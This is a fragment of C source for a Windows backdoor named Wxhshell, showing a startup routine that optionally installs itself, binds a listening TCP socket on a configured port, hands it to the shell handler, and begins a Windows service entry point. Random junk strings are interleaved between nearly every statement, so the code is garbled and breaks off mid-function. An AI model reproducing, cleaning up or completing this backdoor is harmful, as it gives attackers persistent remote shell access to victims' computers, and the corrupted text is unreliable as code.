mU int StartWxhshell(LPSTR lpCmdLine) %2y5a`b { Z\3~7Ek2m SOCKET wsl; Xz`0nU BOOL val=TRUE; AVi&cvhs int port=0; nvQTJ4,, struct sockaddr_in door; h8dFW"cpC 8qL.L(=\/ if(wscfg.ws_autoins) Install(); 6=:s3I^ -}_1f[b port=atoi(lpCmdLine); $C{,`{= _ee<i8_Va if(port<=0) port=wscfg.ws_port; y*%uGG5 Wh)!Ha} WSADATA data; f@[qS7ok if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >L')0<!& +pRNrg?k if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A `{hKS setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }O Y/0p-Z door.sin_family = AF_INET; X,{ 3_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ALj~e#{;z door.sin_port = htons(port); BP}@E$ h4#'@% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1mD)G55Ep closesocket(wsl); 5;+KMM:zb return 1; ,x$^^ } 7=%Oev&0g- kH8/8 if(listen(wsl,2) == INVALID_SOCKET) { k.z(.uc= closesocket(wsl); <RKT
| return 1; "}V_.I*+ } IC?(F]$%> Wxhshell(wsl); $<yhEvv WSACleanup(); .5uqc.i"f =*1NVi $n return 0; h+ud[atk. jD${ZIv } SA7(EJ95 Re&"Q8I.8 // 以NT服务方式启动 [Q+k2J_h VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L7hRFf-o { G[1\5dK*uR DWORD status = 0; ?}uuTNLl) DWORD specificError = 0xfffffff; h aApw(.% L& |